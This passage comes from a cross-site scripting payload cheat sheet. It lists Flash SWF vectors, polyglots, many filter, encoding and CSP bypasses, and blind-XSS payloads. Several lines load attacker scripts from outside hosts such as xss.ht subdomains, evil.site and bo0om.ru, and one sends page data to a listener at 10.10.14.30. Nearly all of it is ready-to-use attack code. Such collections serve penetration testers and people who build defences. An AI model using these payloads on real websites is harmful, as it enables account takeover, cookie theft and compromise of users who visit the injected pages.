swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
```

### XSS in CSS

```html
<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>
```

## XSS in PostMessage

> If the target origin is asterisk \* the message can be sent to any domain has reference to the child page.

```html
<html>
<body>
    <input type=button value="Click Me" id="btn">
</body>

<script>
document.getElementById('btn').onclick = function(e){
    window.poc = window.open('http://www.redacted.com/#login');
    setTimeout(function(){
        window.poc.postMessage(
            {
                "sender": "accounts",
                "url": "javascript:confirm('XSS')",
            },
            '*'
        );
    }, 2000);
}
</script>
</html>
```

## Blind XSS

### XSS Hunter

Available at <https://xsshunter.com/app>

> XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.

```javascript
"><script src=//yoursubdomain.xss.ht></script>

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)')

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//yoursubdomain.xss.ht");a.send();</script>

<script>$.getScript("//yoursubdomain.xss.ht")</script>
```

### Other Blind XSS tools

* [sleepy-puppy - Netflix](https://github.com/Netflix-Skunkworks/sleepy-puppy)
* [bXSS - LewisArdern](https://github.com/LewisArdern/bXSS)
* [ezXSS - ssl](https://github.com/ssl/ezXSS)

### Blind XSS endpoint

* Contact forms
* Ticket support
* Referer Header
  * Custom Site Analytics
  * Administrative Panel logs
* User Agent
  * Custom Site Analytics
  * Administrative Panel logs
* Comment Box
  * Administrative Panel

### Tips

You can use a [Data grabber for XSS](broken://pages/3Ze25urwve2RJXhXl1Dt) and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool.

Eg. payload

```html
<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>
```

Eg. one-line HTTP server:

```
$ ruby -run -ehttpd . -p8080
```

## Mutated XSS

Use browsers quirks to recreate some HTML tags when it is inside an `element.innerHTML`.

Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at <https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/> and <https://research.securitum.com/dompurify-bypass-using-mxss/>.

```javascript
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
```

## Polyglot XSS

Polyglot XSS - 0xsobky

```javascript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

Polyglot XSS - Ashar Javed

```javascript
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```

Polyglot XSS - Mathias Karlsson

```javascript
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
```

Polyglot XSS - Rsnake

```javascript
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```

Polyglot XSS - Daniel Miessler

```javascript
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
```

Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514) ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg)

```javascript
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
```

![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large)

```javascript
<svg%0Ao%00nload=%09((pro\u006dpt))()//
```

Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml)

```javascript
# by crlf
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

# by europa
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>

# by EdOverflow
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

# by h1/ragnar
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
```

## Filter Bypass and exotic payloads

### Bypass case sensitive

```javascript
<sCrIpt>alert(1)</ScRipt>
```

### Bypass tag blacklist

```javascript
<script x>
<script x>alert('XSS')<script y>
```

### Bypass word blacklist with code evaluation

````javascript
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
````

### Bypass with incomplete html tag

Works on IE/Firefox/Chrome/Safari

```javascript
<img src='1' onerror='alert(0)' <
```

### Bypass quotes for string

```javascript
String.fromCharCode(88,83,83)
```

### Bypass quotes in script tag

```javascript
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>
```

### Bypass quotes in mousedown event

You can bypass a single quote with ' in an on mousedown event handler

```javascript
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
```

### Bypass dot filter

```javascript
<script>window['alert'](document['domain'])</script>
```

Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777` <http://www.geektools.com/cgi-bin/ipconv.cgi>

```javascript
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
```

Base64 encoding your XSS payload with Linux command: IE. `echo -n "alert(document.cookie)" | base64` == `YWxlcnQoZG9jdW1lbnQuY29va2llKQ==`

### Bypass parenthesis for string

```javascript
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
```

### Bypass parenthesis and semi colon

```javascript
// From @garethheyes
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

// From @terjanq
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

// From @cgvwzq
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
```

### Bypass onxxxx= blacklist

```javascript
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

// Bypass onxxx= filter with a null byte/vertical tab
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />

// Bypass onxxx= filter with a '/'
<img src='1' onerror/=alert(0) />
```

### Bypass space filter

```javascript
// Bypass space filter with "/"
<img/src='1'/onerror=alert(0)>

// Bypass space filter with 0x0c/^L
<svgonload=alert(1)>

$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.
```

### Bypass email filter

([RFC compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate))

```javascript
"><svg/onload=confirm(1)>"@x.y
```

### Bypass document blacklist

```javascript
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
```

### Bypass using javascript inside a string

```javascript
<script>
foo="text </script><script>alert(1)</script>";
</script>
```

### Bypass using an alternate way to redirect

```javascript
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
```

### Bypass using an alternate way to execute an alert

From [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) tweet.

```javascript
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
```

From [@theMiddle](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/) - Using global variables

The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its **index number instead the function name**.

```javascript
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5
```

Then calling alert is :

```javascript
Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")
```

We can find "alert" with a regular expression like ^a\[rel]+t$ :

```javascript
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()

// then you can use a() with Object.keys

self[Object.keys(self)[a()]]("1") // alert("1")
```

Oneliner:

```javascript
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
```

From [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) tweet.

```javascript
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
```

From [@404death](https://twitter.com/404death/status/1011860096685502464) tweet.

````javascript
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
````

Bypass using an alternate way to trigger an alert

```javascript
var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);
```

### Bypass ">" using nothing

You don't need to close your tags.

```javascript
<svg onload=alert(1)//
```

### Bypass "<" and ">" using ＜ and ＞

Unicode Character U+FF1C and U+FF1E

```javascript
＜script/src=//evil.site/poc.js＞
```

### Bypass ";" using another character

```javascript
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
```

### Bypass using HTML encoding

```javascript
%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
```

### Bypass using Katana

Using the [Katakana](https://github.com/aemkei/katakana.js) library.

```javascript
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
```

### Bypass using Cuneiform

```javascript
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
```

### Bypass using Lontara

```javascript
ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
```

More alphabets on <http://aem1k.com/aurebesh.js/#>

### Bypass using ECMAScript6

```html
<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>
```

### Bypass using Octal encoding

```javascript
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
```

### Bypass using Unicode

```javascript
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
```

Bypass using Unicode converted to uppercase

```javascript
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
```

### Bypass using UTF-7

```javascript
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
```

### Bypass using UTF-8

```javascript
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
```

### Bypass using UTF-16be

```javascript
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
```

### Bypass using UTF-32

```js
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

### Bypass using BOM

Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page

```js
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

### Bypass using weird encoding or native interpretation

```javascript
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```

### Bypass using jsfuck

Bypass using [jsfuck](http://www.jsfuck.com/)

```javascript
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
```

## CSP Bypass

Check the CSP on <https://csp-evaluator.withgoogle.com> and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://websecblog.com/vulns/google-csp-evaluator/)

### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27))

//google.com/complete/search?client=chrome\&jsonp=alert(1);

```js
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
```

More JSONP endpoints:

* /Intruders/jsonp\_endpoint.txt
* [JSONBee/jsonp.txt](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)

### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)

Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)

```js
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```

### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f)

```js
// CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
```

### Bypass CSP by [@akita\_zen](https://twitter.com/akita_zen)

Works for CSP like `script-src self`

```js
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
```

### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072)

Works for CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).

```javascript
<script src="data:,alert(1)">/</script>
```

## Common WAF Bypass

